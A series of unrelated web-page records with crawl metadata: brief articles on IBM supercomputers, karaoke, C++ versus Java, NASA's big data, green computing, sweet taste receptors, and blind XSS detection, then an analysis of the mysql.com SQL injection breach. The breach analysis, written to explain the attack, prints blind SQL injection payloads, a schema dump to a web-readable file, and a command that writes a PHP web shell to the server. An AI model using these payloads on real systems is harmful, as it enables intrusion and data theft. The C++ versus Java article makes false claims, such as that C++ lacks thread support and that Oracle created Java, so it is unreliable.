By 2018, IBM had once again taken over the two top spots in the Top500 list of the world’s most powerful supercomputers. Along with Oak Ridge National Lab’s Summit platform, ranked currently as the world’s fastest supercomputer, IBM also unveiled another member of the CORAL program – Sierra – at Lawrence Livermore National Laboratory. Summit and Sierra will help model supernovas; pioneer new materials; and explore cancer, genetics, and the environment, among many other tasks.
These are just a small sampling of the many contributions IBM has made to supercomputing over the past 30 years. Imagine what the next 30 years will bring. | <urn:uuid:39cdd6c7-80f7-4ef9-aa06-94f13d400ab4> | CC-MAIN-2022-40 | https://www.hpcwire.com/solution_content/ibm/cross-industry/from-deep-blue-to-summit-30-years-of-supercomputing-innovation/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335609.53/warc/CC-MAIN-20221001101652-20221001131652-00536.warc.gz | en | 0.950166 | 1,130 | 3.265625 | 3 |
Who loves karaoke? Whether you prefer it in open bars or behind closed doors, there’s nothing more fun than belting out tunes with good drinks and good friends. What you might not know, though, is that karaoke has origins from across the Pacific. Karaoke was actually invented in Japan, and the word itself is Japanese for “empty orchestra.” In this clip from CBS Sunday Morning, you’ll meet the inventor of karaoke, and learn why this pastime is still so popular around the world years later.
Join the Komando Community
Get even more know-how in the Komando Community! Here, you can enjoy The Kim Komando Show on your schedule, read Kim's eBooks for free, ask your tech questions in the Forum — and so much more. | <urn:uuid:09ad6d4a-9809-4af0-9920-56080ea45e17> | CC-MAIN-2022-40 | https://www.komando.com/video/komando-picks/lets-all-sing-the-praises-of-karaoke/682125/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335609.53/warc/CC-MAIN-20221001101652-20221001131652-00536.warc.gz | en | 0.936801 | 172 | 2.765625 | 3 |
In this blog, we will discuss the differences between C++ and Java.
C++ is an object-oriented, functional, procedural, multi-program and general-purpose programming language developed by Bjarne Stroustrup. C++ is generally considered as an extension of C language.
C ++ is a high-level language that also allows using low-level memory manipulation.
Java was developed by Oracle and is an object-oriented language that has only high-level features. It was originally developed by James Gosling. Java does not give the freedom to do low-level memory manipulation like C++
Ease of Use & Development Speed:
C++ and Java have their own set of libraries, SDK’s and frameworks which make the programming easy and development process of any program speeds up.
C++ libraries & frameworks consist of boost, JUCE, Loki, APR, ETL, ASL, Cinder, Windows template library, etc.
Java libraries and frameworks consist of Blade, JavaServer, Primefaces. Vaadin, Faces, Hibernate, GWT etc.
Both C++ and Java are the general-purpose language which means that users can develop their software application for any type of platform with the help of tools, libraries, frameworks, and IDEs.
C++ is generally used for building desktop apps, machine learning libraries, operating system, embedded system, mobile apps and application which require complex graphical processing, so on. It is also used for automation, automotive, internet of things, set-top-box, etc.
Java is used for building web apps, desktop apps, web APIs, games, cloud applications, mobile apps, unit tests, app servers, enterprise applications, etc. It is also used in the field of self-driven cars, data analysis, etc.
Popular applications of C++:
Popular companies like Amazon, Bloomberg, HP, Apple, Facebook, IBM, HP, Intel, Mozilla, Microsoft, Autodesk, Adobe, AT&T are using C++.
Some famous applications of C++ are Photoshop, Maya, Illustrator, Windows Vista, Microsoft Office, Mozilla Firefox, Windows 7, Windows 9x, Internet Explorer, Java VM core, Windows NT, Chrome, Visual Studio, Acrobat, Windows XP, InDesign and many more.
Popular applications of Java:
Popular applications of Java are Tommy Jr, JPC, Project Looking Glass, Netbeans IDE, Blu-RayBD-J, NASA World Wind, UltraMixer, SunSpot, ThinkFree and many more.
C++ is complied language whereas Java is compiled or interpreted language.
C++ program will run on the operating system only where it is compiled. It will never run on another operating system. To run it on a different operating system you are required to recompile it. On the other hand, Java program can be run on any platform if JVM is installed. No need to recompile it.
C++ is not at all memory-safe language. You need to do memory management. Memory errors can occur which sometimes creates serious problems like crashes during the time of program execution. Java is a system controlled language that does not allow memory manipulation. It is a memory-safe language.
C++ supports full pointers whereas Java supports limited pointers.
Java support threads but C++ does not.
C++ is a fast language as it does not require interpretation. Java, in contrast is not as fast since it needs to be interpreted first and then executes. But Java optimizes the code directly using JVM which increases the performance of the program. This means that the Java program runs faster than the C++ program in scenarios where the C++ program is not optimized. If the C++ program is optimized then it will run faster than Java.
C++ is a low-level language which means it is close to hardware but in the case of Java, it is not close to the hardware as it is high-level language.
Scope resolution operators:
C++ purely supports scope resolution operators while Java never supports such type of operators.
Default arguments are present in C++ but not in Java. | <urn:uuid:bda614c9-506f-482c-beea-229b26f0f387> | CC-MAIN-2022-40 | https://ipwithease.com/c-vs-java/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337339.70/warc/CC-MAIN-20221002181356-20221002211356-00536.warc.gz | en | 0.901951 | 899 | 3.28125 | 3 |
Do you know that the term “big data” was first used in a 1997 paper by scientists at NASA, describing an interesting challenge, they had with visualizing the large datasets? The volume of data NASA has to manage is mind-boggling. According to Kevin Murphy, NASA Program Executive for Earth Science Data Systems, NASA – one of the biggest generators of data – is generating 12.1TB of data every single day from nearly 100 currently active missions and thousands of sensors and systems around the Earth and space. Some missions could generate as much as 24TB in a single day. Handling, storing, and managing this data is a massive challenge.
Where does NASA store all this data?
NASA has big data at the heart of its most critical projects of the agency. While the Caribbean Islands are battered by the most destructive and powerful Atlantic hurricanes and the State of Florida braces itself for a storm of the category 5, sixteen earth science satellites in NASA are working to gather all the relevant data on climate science while at the same time monitoring the quality of air, the oceans, and the hurricanes among other climatic areas that raise concern. Some of the critical projects in NASA’s mission that demonstrate how NASA uses to achieve its goals are:
- The Quantum Artificial Intelligence Laboratory (QuAIL) and the space agency’s quantum computers;
- The agency’s Supercomputer- the Pleiades- that performs simulation and modeling;
- Storage of bulk amounts of data on Earth Science and Distributed Active Archive Centers (DAACs);
- Cyber Security of its networks and the NACRA- the Network Activity Cybersecurity Risk Assessment;
- Expert Medical Care and Exploration of Medical Capabilities (ExMC).
This article, however, focuses only on analyzing ways in which NASA develops its approaches towards their current usage of big data.
How does big data process and manage NASA missions
NASA is managing and processing big data as evidenced by the MPCS (Mission Data Processing and Control System). The Curiosity Rover recently used this system on a mission to Mars. During the expedition, MPCS leveraged data from NASA’s Mars Reconnaissance Orbiter as well as the deep-space framework to guide the Curiosity Rover during the mission in real time. In the past years, this process would take several hours or even days to conclude.
Additionally, NASA also uses big data in navigation. NASA’s Flight Operation Team uses big data to generate Custom Data Visualizations- built by MPCS- to guide NASA teams in missions.
NASA has numerous active missions at any particular time: From robotic spacecrafts capturing and sending images of high-resolution and other data forms from far distances to other earth-based mission projects of surveying the ice at the earth’s poles or examining the change in the climate around the globe. As one might imagine, the data that is generated from all these projects is staggeringly voluminous. NASA stores most of this data. For instance, the NCCS (NASA Center for Climate Simulation) is an incredibly huge storage space by all standards. How huge exactly? Well, this resource contains data of 32 petabytes, and its total capacity is 37 petabytes.
Currently, NASA manages several hundreds of petabytes in data, especially if all the domain sciences and earth disciplines are considered. Handling these astronomical amounts of data is not out of the realm of the typical missions of the space agency. An individual project is capable of collecting as much as hundreds of terabytes in data. NASA’s Goddard Institute primarily uses the information stored on NCCS to carry out its everyday operations. The NCCS also owns the 17ft by 6ft visualization wall that provides a high-resolution surface where scientists can present videos, animated content, and images from NCCS’s data.
As recently as three years ago, NASA was generating about 12.1 terabytes of data each day from numerous sensors and systems positioned across the globe and space. As NASA upgrades its spacecrafts to better its capability of handling much larger and faster data transmissions by a factor of about one thousand using optical lasers, the anticipation is that some of the space agency’s missions could go as far as generating as much as twenty-four terabytes of data every single day. So, how exactly does NASA manage to store all this data? Simply put, similar to how any normal organization’s IT department would – the volume of data anticipated to be generated is approximated, and then the agency plans accordingly how to store it.
To store the voluminous amount of data collected, the National Space Agency has adopted a diverse storage system that has both a sophisticated cloud platform mostly used by giant commercial organizations such as Amazon and Google.
Also, there is another one data storage project of NASA: Earth Observing System Data and Information System (EOSDIS). It’s devoted to better understanding the surface and atmosphere of Earth and focuses on satellite measurements to make knowledgeable decisions.
Within the space agency, one question remains: how it is equipping itself to handle the exponential annual growth of data of about ten petabytes per year. For most astronauts in the agency, machine learning algorithms and artificial intelligence solutions will play an integral role.
Distribution and Archiving of Information
When dealing with astronomical data volumes like NASA does, it is not surprising to run into inevitable, formidable challenges which include the big data fundamental question: What should we store?
In NASA’s case, not all bits of data received are stored. The trick lies in trying to determine what data should be saved and what data should be utilized in mining useful insights and then ultimately discarding it. At the National Space Agency, the chief objective of some of the projects with big data is, essentially, to archive the data. This implies that the agency saves the bits of data collected for performing data stewardship. For instance, the data gathered from the agency’s Earth Observing System satellites and other programs of field measurement is stored in NASA’s Distributed Active Archive Center (DAAC) facilities. Here, the data is processed, archived, and then distributed.
NASA makes use of big data through the ASDC (Atmospheric Science Data Center). The ASDC, located at NASA’s Research Center in Langley, is responsible for archiving, processing, and distribution of NASA’s Earth Science Data.
The information from the ASDC is crucial in helping scientists understand the causes of climate change as well as atmospheric processes. ASDC insights can also help people to comprehend the effects human actions have had on climate in the past years.
Another way NASA is leveraging big data is through the PDS (Planetary Data System). The PDS is responsible for archiving and also the presentation of scientific information into a single website. This system provides access to an excess of 100TB of space models, telemetry, images, and other useful information gathered from planetary missions in the past 30 years.
Some of NASA’s big data projects are carried out primarily to acquire data for analysis rather than stewardship. A good radio astronomy instance of data for analysis is the scheduled Square Kilometer Array (SKA), which entails numerous telescopes positioned in South Africa and Australia for exploring the formation of galaxies in their formative stages, the universe’s origins, and other mysteries. In this particular case, researchers in NASA are more interested in using the data in conducting multiple analytics than just storing the data in the agency’s systems.
Another example where the agency acquires data particularly for analysis is the US National Climate Assessment. The US National Climate Assessment is a federal research project for climate-change research whose principal role is to generate more accurate measurements of the areas covered with snow, and the measurements of the snow covering regions where black carbon, dust, and other pollutants generally affect how satellites view the snow.
NASA’s Pleiades supercomputer taps into big data to assist in analyzing different complicated projects such as comprehensive space shuttle designs, solar flare incidences, and space weather. Recently, this supercomputer was used in the evaluation of large amounts of star data gathered by NASA’s Kepler spacecraft. Through this analysis, NASA was able to discover Earth-size planets within the Milky Way galaxy.
Other than that, this supercomputer helped in the development of the Bolshoi cosmological simulation that evaluates how large-scale structures and galaxies evolved. And lest we forget, at least 1200 people across the US depend on the Pleiades to solve large and complicated calculations.
NASA uses big data way beyond the functions highlighted here. In fact, NASA is arguably the world’s leading user of big data. But despite the honors, it is vital to note that the agency is still at its infancy stages when it comes to exploring big data. And given the enormous strides, big data use has helped NASA achieve at this stage; we can only imagine endless, unfathomable opportunities ahead. | <urn:uuid:d89d71ff-6459-4746-ae73-a8b675aa48ca> | CC-MAIN-2022-40 | https://www.crayondata.com/how-does-nasa-use-big-data/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337339.70/warc/CC-MAIN-20221002181356-20221002211356-00536.warc.gz | en | 0.923397 | 1,846 | 3.625 | 4 |
The rapid development of technologies and new inventions has affected the environment very much. And this led to the start of the Green Revolution in all the industries including the Information Technology and Tech fields.
Now the big companies like Google and Amazon included Green Computing as an important objective in their plans. So what does this Green Computing mean? Why it is important?
In this article, you will get the following detailed explanation about Green computing –
What is Green Computing?
Green Computing refers to the usage of computers and their resources in an Eco-friendly and responsible way. The term Green computing means a lot. It involves the study of designing environment-friendly and reusable computer or hardware architecture.
The Goal of Green computing is the same as other Green Evolution concepts, to reduce the hazardous materials in the environment and increase the efficiency and viability of the process. The Green Computing process is very important and should be practiced by everyone. It covers from the large multi-national organization’s servers to the single personal usage computers.
Many Corporate companies are spending huge investments in making their IT process environment friendly. Here is how the idea of Green Computing started.
History of Green Computing
It all started when the U.S. Environmental production agency launched the Energy Star program in 1992. The Energy Star program measures and labels the energy efficiency of the monitors, climate equipment, etc… This started the creation of sleep mode and other energy consumption techniques in consumer electronics.
All these Green Talks started when people realized that the earth is not an unlimited source of resources. The resources like minerals, foods, and other life support are limited in the earth so the energy. People realized that e-waste is becoming a large threat to human survival. So the idea of Green Computing started.
Objectives of Green Computing
The major objective of Green Computing is to achieve optimal computing efficiency without affecting the existing resources (environment). The following can be considered as the objectives of green computing –
- Minimizing the e-waste disposal
- Using energy created in an environmentally friendly way (solar energy).
- Minimizing or optimizing energy consumption.
- Reducing the printer ink (carbon) and paper usage.
Green Computing Approaches
To achieve the final goal of Eco-friendly designs, the following four principal methodologies are used.
i) Green Use
It focuses mainly on reducing the PC or server’s power consumption. It is important to consider the life cycle of the system before inducing these green use methods. The system should be durable for a long time at need low power. The PC management methods like the sleep mode, power-saving mode, etc… are created to achieve the green use
ii) Green Disposal
This methodology focuses mostly on the reuse or disposal methods of computers. As the technologies develop and change rapidly, one system will become outdated soon. Instead of throwing the old system, you can replace the old hardware with a new one.
And it advised recycling the old computers. Certain parts of the computers can be reused and help a lot in the reduction of e-waste.
iii) Green design
The production of systems that are both effective and efficient and at the same time doesn’t affect the environment is the main goal of this methodology. There is not much progress in the methodologies but still, we are doing large research in this category. The Energy Star values the Environment friendliness of all the existing systems. And recommending the big business adopt them.
iv) Green Manufacturing
The main problem with electronic systems is they are not easily degradable. And this creates large e-waste. Green Manufacturing focuses on using bio items in computer manufacturing and eliminates the hazardous or poisonous substances in electrical appliances.
Though the world realized the need for Green computing a little late, it’s not too late to adopt them. And it is not only for the large organizations, even common people can help the final goal of Green computing in the following ways –
- Power down your CPU peripheral during an extended inactivity period.
- Use the power management features like sleep mode, display brightness, etc…
- Dispose of e-waste according to the government regulations.
- Use green energy sources (solar energy etc…)
If you want to know any more about green computing please leave them in the comment section. | <urn:uuid:438df4a5-5ce5-43d0-9e69-f1a2f3e99344> | CC-MAIN-2022-40 | https://networkinterview.com/what-is-green-computing/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337473.26/warc/CC-MAIN-20221004023206-20221004053206-00536.warc.gz | en | 0.915361 | 888 | 3.515625 | 4 |
sweet taste receptors
Bitter taste receptors in the upper airway are a first line of defense against sinus infections. Their ability to kill harmful toxins and pathogens when the sweet taste receptors stimulated. While glucose and other sugars are known to trigger these sweet taste receptors.
Now, researchers have shown amino acids can also have that effect. This new understanding could help pave the way toward new treatments for chronic sinus infections.
Rhinosinusitis, the clinical name of chronic sinus infections. It affects nearly 35 million Americans each year and people across the country spends more than $8 billion on health care costs.
Previous Penn research suggests that a novel way to treat these infections involve manipulating the nasal bitter and sweet taste receptors. Bitter receptors release small proteins called antimicrobial peptides which kill microorganisms that enter the nose. While sweet receptors control the rate at which those peptides are released. When the body is healthy, this system maintains the status quo. But when pathogens, toxins, and allergens get into the upper respiratory tract, it throws off the balance.
The new study shows the sweet taste receptor, T1R, can activate by certain amino acids secreted by bacteria. Researchers took cells from rhinosinusitis patients and isolated the various communities of bacteria. They found cultures of Staphylococcus bacteria produced two D-amino acids called D-Phe and D-Leu, both activates T1R sweet receptors and block the release of antimicrobial peptides.
These amino acids block the body’s natural immune response by hitting the breaks on the protective bitter taste receptors, said, the study’s senior author Noam A. Cohen, MD, Ph.D.
The two D-amino acids combined with Staphylococcus, can also prevent the formation of other bacteria colonies. In addition to showing the importance of sweet and bitter taste receptors in shaping the microbial communities that exist in the human airway. Researchers say this could also lead to specific therapies to treat chronic rhinosinusitis.
Specifically, sweet-receptor blockers used in some food and supplement products, may useful to block activation of T1R, which allows the body’s normal defenses to work properly, even when high concentrations of D-amino acids are present.
More information: [ScienceSignaling] | <urn:uuid:235a6ebe-7675-45f0-b78a-f5bb13683775> | CC-MAIN-2022-40 | https://areflect.com/2017/09/15/sweet-taste-receptors-can-help-body-fight-off-sinus-infections/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337625.5/warc/CC-MAIN-20221005105356-20221005135356-00536.warc.gz | en | 0.891959 | 481 | 3.359375 | 3 |
Non-Persistent vs Persistent XSS Vulnerabilities
Cross-site scripting (XSS) vulnerabilities are one of the Top 10 web vulnerabilities according to OWASP. They can be classified into two types:
- Non-persistent (or reflected) Cross-site Scripting vulnerabilities occur when the client-side user input is reflected immediately by the web browser on the page by server-side scripts without proper sanitization. Reflected XSS vulnerabilities are the most common type.
- Persistent (or stored) Cross-site Scripting vulnerabilities occur when user input provided by the attacker is saved by the web server and then permanently displayed on pages returned to other users in the course of regular browsing, without proper HTML escaping. Stored cross-site scripting attacks are much more dangerous compared with the reflected XSS because the attacker payload remains on the vulnerable page and any user that visits this page will be exploited. A persistent XSS vulnerability can be transformed into an XSS worm (like it happened with the Samy XSS worm that affected Myspace several years ago).
Overview of Blind Cross-site Scripting
Blind XSS vulnerabilities are a variant of persistent XSS vulnerabilities. They occur when the attacker input is saved by the web server and executed as a malicious script in another part of the application or in another application. For example, an attacker injects a malicious payload into a contact/feedback page and when the administrator of the application is reviewing the feedback entries the attacker’s payload will be loaded. The attacker input can be executed in a completely different application (for example an internal application where the administrator reviews the access logs or the application exceptions).
Example of web applications and web pages where blind XSS attacks can occur:
- Contact/Feedback pages
- Log viewers
- Exception handlers
- Chat applications / forums
- Customer ticket applications
- Web Application Firewalls
- Any application that requires user moderation
These types of vulnerabilities are much harder to detect compared to other reflected XSS vulnerabilities where the input is reflected immediately. In the case of blind XSS, the attacker’s input can be saved by the server and only executed after a long period of time when the administrator visits the vulnerable dashboard page. It can take hours, days, or even weeks until the payload is executed. Therefore, this type of vulnerabilities in web applications cannot be tested as other types of XSS vulnerabilities and they pose a challenge for web security (web application security), penetration testing, and security testing in general.
Detecting Blind Cross-site Scripting Vulnerabilities with AcuMonitor
Acunetix Web Vulnerability Scanner has a service named AcuMonitor, which was designed to detect this type of vulnerabilities (and other new categories of web application vulnerabilities that could not be detected before).
The AcuMonitor service allows you to detect blind XSS vulnerabilities as described below:
- User registers to the AcuMonitor service by providing an email address for notifications.
- Acunetix injects various script payloads into the tested web application (into GET/POST variables, HTTP headers, cookies, URLs, etc.)
- If the web application is vulnerable to blind XSS, the script payload is saved into the database.
- When the web application administrator visits the vulnerable page, the previously injected script payload is executed. This script will be loaded from an AcuMonitor server that gathers basic information about the vulnerable page.
- AcuMonitor sends a notification email to the registered user. The notification email contains the information gathered about the vulnerable page and information about the HTTP request that injected the script payload.
- The user can use the information in the notification email to look up the original request from Acunetix.
Detecting a Real-Life Blind XSS Vulnerability in a WordPress Plugin
The Count per Day WordPress plugin was vulnerable to a Blind XSS vulnerability that was fixed in version 3.2.6. The vulnerability occurred because the script counter.php was not properly sanitizing the
HTTP Referrer header. This plugin was saving the last user referrers to the database and displaying this information on the WordPress Dashboard plugin page. To exploit this vulnerability, an attacker would need to send a web request to any page with a custom
HTTP Referrer header and wait for the administrator to visit the WordPress Dashboard page. At this point, the attacker could steal WordPress cookies or perform other attacks.
After the vulnerable web application was scanned with Acunetix (with the AcuMonitor service enabled), we logged into the WordPress Dashboard page. Various script payloads were injected into the application during scanning. At this point, the injected script payloads were executed and AcuMonitor started to get information about the vulnerable page and prepared a notification for the user. In a few minutes, the user received a notification email about the blind XSS vulnerability with information on how to reproduce this vulnerability.
The XSS detection email contained the following details:
AcuMonitor extracted various information, which could be used by the user to reproduce the vulnerability.
The alert details included the IP address, user-agent, page URL, page title, the
Referrer header and the cookies used when visiting the vulnerable page. Also, a screenshot was generated by the injected malicious code.
From the initial HTTP request, the user can easily identify that the injection vector is the
Referrer header, and can use this information to fix the vulnerability (or in this case contact the WordPress plugin developers). | <urn:uuid:5a322c1c-959b-41ca-9902-60e0b3b8d59b> | CC-MAIN-2022-40 | https://www.acunetix.com/websitesecurity/detecting-blind-xss-vulnerabilities/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030333541.98/warc/CC-MAIN-20220924213650-20220925003650-00736.warc.gz | en | 0.89054 | 1,173 | 3 | 3 |
Logic expressions can be used in
return. Entity references cannot be used in logic expressions. The reference record must be first fetched from the database into another variable.
Where expressions can be used in
count and entity sets
offlinefilter. Entity references can be used in where expressions to access related entity data.
Be careful to always use the correct types when doing comparisons. If comparing a
Text column to a
Number the database is likely to return no results. When SQLite converts the
Number to a
Text value it will always add a decimal place.
For example: We have an Employees entity set that has an
EmpNo with type
variable EmpNoToFind Number; variable FetchedEmployee Structure(Employee); set EmpNoToFind = 507; fetch Employees a where [a.EmpNo = EmpNoToFind] into FetchedEmployee;
In the above example
FetchedEmployee will be null even if there is an employee with an
EmpNo of "507".
EmpNo is a
Text column and
EmpNoToFind is a
Number variable. When running the query SQLite converts the
507 number to the string
"507.0". Since the string
"507" != "507.0" no result is returned. The following would succeed:
variable EmpNoToFind Text; variable FetchedEmployee Structure(Employee); set EmpNoToFind = "507"; fetch Employees a where [a.EmpNo = EmpNoToFind] into FetchedEmployee;
== != ! or and >= < <= + - / * % in (e.g. ProjectObjstate in ('STARTED','APPROVED')) | <urn:uuid:3bd929d2-1a91-45a5-a89f-21e36314cd59> | CC-MAIN-2022-40 | https://docs.ifs.com/techdocs/21r2/050_development/050_development_tools/022_user_interface/035_aurena_native/040_offline_file/050_expressions/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334802.16/warc/CC-MAIN-20220926051040-20220926081040-00736.warc.gz | en | 0.789808 | 405 | 3.140625 | 3 |
It happens to everyone at some point. You’re doing something on your computer, whether it’s an important project, some aimless browsing, or trying to beat your high score on Minecraft, and without warning everything freezes.
You wiggle the mouse, click some buttons a few times, tap a few keys on your keyboard and get nothing. Your 21st-century piece of technology is as useless as a pet rock. What do you do next?
Before freaking out and tossing your computer into the recycle bin, there are a few simple steps that you can take to try and get it moving again. You won’t even need to contact IT for help. Keep reading to find out how to handle a frozen computer.
Have you tried a simple restart?
OK, this step is obvious. However, some people think they have to pull the computer’s power plug or flip the switch on the power strip. Instead, simply hold the computer’s power button for 5 to 10 seconds and it will restart with less disruption than a complete power loss.
There are a few things that can happen next when your computer comes back on. Let’s look at the three most typical ones and what you should do next.
1. Computer starts fine
If the computer starts up fine, immediately back up your important information in case a serious problem is on the way. Otherwise, you could find yourself scrambling through more complicated ways to get files off a dead computer. Tap or click for the best way to back up critical data before it’s too late.
Then use the computer as normal until it freezes again, although it might not. If the computer does freeze again, keep reading for more steps to take.
2. Computer asks you how to boot
While restarting, the computer might say there was an error with Windows and ask if you want to start normally or in Safe Mode. The first time, choose to start Windows normally. Then back up your data, as detailed earlier, and keep using the computer to see if it freezes again.
If this is the second time your computer has frozen, choose to boot in “Safe Mode with Networking.” Try using the computer like this and see if it freezes again. If it does, you could be looking at either a software or a hardware problem.
If it doesn’t freeze again while in Safe Mode, it’s likely a software problem. Keep reading for tips to investigate both.
3. Computer freezes again immediately
If the computer freezes again immediately after booting, whether in normal mode or Safe Mode, you could have a serious software or hardware problem. However, it’s most likely a hardware problem.
Basic software troubleshooting
An occasional or consistent computer freeze could be the result of a program acting up. Use the keyboard shortcut CTRL + SHIFT + ESC to open Windows Task Manager and select the “Performance” tab. In Windows 8.1 and 10, you might need to click the “More Details” link at the bottom of the Task Manager to see everything running and if a program is using excessive resources.
Start using your computer as normal, but keep an eye on the CPU, memory and disk categories. If the computer freezes and one of these is really high, that could be your answer. Make a note of which area was really high then restart the computer and open Task Manager again.
This time, however, choose the “Processes” tab. Sort the list by CPU, memory or disk, whichever was really high the last time the computer froze, and see what process pops up to the top of the list as the computer freezes. This should tell you what software is acting up so you can uninstall or update it.
You might also have hidden software, such as a virus, causing problems. Be sure to run a scan with your security software to uncover something that shouldn’t be there. Tap or click for free tools to check if your machine is infected with a virus.
In cases where your computer freezes during startup in normal mode, but boots OK in Safe Mode, the problem could be a program that’s loading during the boot sequence. Tap or click here to make your startup process cleaner.
If your computer is freezing during startup no matter what, and it’s at the same point, the problem could be corruption in Windows or a hardware problem. A quick way to tell is to grab a Live CD for another operating system, such as Linux Mint or Tails, and boot with that.
If the other operating system boots OK, you’re probably looking at a problem with Windows and might need to reinstall. Tap or click here to find out how to perform a clean install of Windows.
If a non-Windows operating system has trouble too, then it’s time to look at your hardware.
Basic hardware troubleshooting
A computer that freezes both in normal mode and Safe Mode or with another operating system, can often indicate a problem with your computer’s hardware. It could be your hard drive, an overheating CPU, bad memory or a failing power supply. In some cases, it might also be your motherboard, although that’s a rare occurrence.
Usually, with a hardware problem, freezing will start out sporadic but increase in frequency as time goes on. Or it will trigger when the computer is working hard, but not when you’re doing more basic things. Fortunately, you can run some checks and see if that’s the case.
Thankfully there are free sites that can tell if you have a failing hard drive. Tap or click for six ways to check for a failing hard drive.
Another thing to check is the temperature of your machine. A program like SpeedFan can tell you if your computer processor is overheating, or if the voltages are fluctuating, which might be a problematic power supply.
If these DIY fixes don’t help and your machine is still failing it might be time to look into getting a new one. But first, if your computer is newer it might still be under warranty, in which case you’ll want to contact the manufacturer or seller. Good luck and happy surfing! | <urn:uuid:05d27a79-bdf0-4e14-8480-93ef937f0c0c> | CC-MAIN-2022-40 | https://www.komando.com/tech-tips/how-to-fix-your-frozen-computer/353082/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335034.61/warc/CC-MAIN-20220927131111-20220927161111-00736.warc.gz | en | 0.939073 | 1,287 | 2.53125 | 3 |
On 27th March 2011 a message was posted on the popular Full Disclosure mailing list exposing a recent hack against the website mysql.com. This vulnerability was apparently also reported by a hacker called TinKode, who also claims to have found a cross site scripting attack on the same web site in January.
SQL Injection attacks are very popular. Some reports state that they constitute over 20% of all types of attacks against websites. On the other hand, the technology behind MySQL is very robust and has been tested by millions of users worldwide. It has a good reputation and also offers some protection against Injection attacks.
In this article I analyze how the attack happened. I try to pinpoint where the vulnerability lies so that web application developers can be more aware and more careful about how they build their sites.
The SQL Injection Process
An SQL Injection attack is executed in three phases. In the first phase, the attacker launches a series of probes, or scans against his target. These scans are testing for any known SQL Injection weakness. They typically work by sending intentionally malformed user data to the server and analysing error responses from the web application. Certain error responses pinpoint vulnerabilities, whilst others reveal important information which is used to further refine the scans. Once the attacker is satisfied, he can launch his attack.
The process is shown in the following diagram:
Depending on the vulnerabilities found the hacker will employ different methods to perform the injection. His methods will depend on the SQL server in use and how the web application is coded. These exact methods are not within the scope of this article, however a good article on the full details of SQL Injection attacks can be found here: How to check for SQL injection vulnerabilities
Anatomy of the Hack
The hackers revealed enough information to prove that the break was genuine but they have been rather quiet about the exact sequence of events that constituted the attack. They did, however, point us to their entry point which is:
Upon inspection, this URL points to the “Customers View” part of the website that enables web visitors to browse through the profiles of MySQL’s more prominent customers.
As you can see from the URL above, a single parameter called “id” is passed to this module. This parameter, which is of numeric type, identifies a customer. Customer ID 1170, corresponds to a company called Cinnober as can be seen in the screen shot below.
Interesting to note that if a different ID is passed, a different customer profile is displayed. For example, executing the request index.html?id=1171 results in the Quora customer profile being displayed. This is not a serious security vulnerability in itself, however allowing visitors to enumerate the web page in this way does raise some eyebrows in the security community.
In a message to the popular security mailing list Full Disclosure, the hackers revealed some more interesting details:
Host IP : 126.96.36.199
Web Server : Apache/2.2.15 (Fedora)
Powered-by : PHP/5.2.13
Injection Type : MySQL Blind
This information identifies the server IP address, the operating system and web server names and versions, the version of PHP used by the module and most importantly the Injection Type, which they claim to be “MySQL Blind.”
Earlier in the article I explained the main concepts of an SQL Injection attack. The first step of these attacks is to identify the vulnerability. The hacker does this by probing the web application until certain error conditions are met. These errors point out vulnerable points that could be exploited.
In a blind attack the web application does not reveal any information about the errors, therefore traditional probing methods are ineffective. This does not mean that there are no vulnerabilities, but it does make the existing ones much harder to find.
In this case the hacker was skilled enough to use alternative information gathering methods. One popular method used in Blind Injections is the Timing Attack. Using this method, the attacker puts a benchmark timer into the injected payload. This allows the him to accurately measure the amount of time that the payload takes to execute. Using this timing information the hacker can glean an important insight into the structure of the database including the database names and table names, which are instrumental in a successful SQL Injection attack.
The following example explains how the SQL BENCHMARK() function can be used in such an attack.
1170 UNION SELECT IF(SUBSTRING(current,1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (Select Database() as current) as tbl;
The code above tests whether the first letter of the database name CHAR 119 (lowercase letter w). If the server response takes a long time it means that the current database starts with ‘w’. If the time is short then another letter is tested. This method is rather crude and takes some fine-tuning from the part of the hacker, but in this case it was successfully exploited to reveal the entire list of database names and their tables.
If the first phase of the attack is successful a new set of possible attack vectors are opened up. A hacker would first want to get more information about the environment that he is operating in. He could do that by issuing the following command:
1170 UNION SELECT IF(SUBSTRING(version(),1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)
This command will give the hacker the MySQL database version. Other functions can be used to gather more information, some of the more interesting ones are:
database() - the name of the database currently connected to.
system_user() - the system user for the database.
current_user() - the current user who is logged in to the database.
last_insert_id() - the transaction ID of the last insert operation on the database.
If current_user() has the correct write permissions, the hacker will proceed to dump out some more information to a file on the server. This will facilitate the data retrieval later on.
1170 Union All SELECT table_name, table_type, engine FROM information_schema.tables WHERE table_schema = 'mysql’ ORDER BY table_name DESC INTO OUTFILE '/path/location/on/server/www/schema.txt'
The command above, if successful will dump the entire database schema into a file called schema.txt which is accessible from the root folder of the website. The only caveat of this command is that it requires knowledge of the directory structure of the server. Sometimes this can be guessed since most system administrators use default settings. Other times it is revealed though over enthusiastic error reporting, or other more subtle bugs in the application code.
Once a hacker knows an injection entry point he can also penetrate deeper. The following command will give the hacker his own shell, opening a whole new set of possibilities for him.
1170 UNION SELECT "<? system($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --
These are just a few techniques of blind injection that could have been used against a MySQL database. To break into MySQL.com the hacker must have employed commands very similar to these. The next section reveals some of the information that the hackers scraped from their website. This includes the entire database schema as well as the contents of some of the database tables, namely the ones that contain user names and passwords.
The hackers claim to have hacked the following mysql domains: www.mysql.com, www.mysql.fr, www.mysql.de, www.mysql.it, www-jp.mysql.com. These web sites are all very similar, in fact they appear to be running identical web applications, but in different languages. They are also connecting to the same database, or an exact replica of it. A quick visit to the vulnerable URL, but with the .com changed to .de reveals the same result but in the German language:
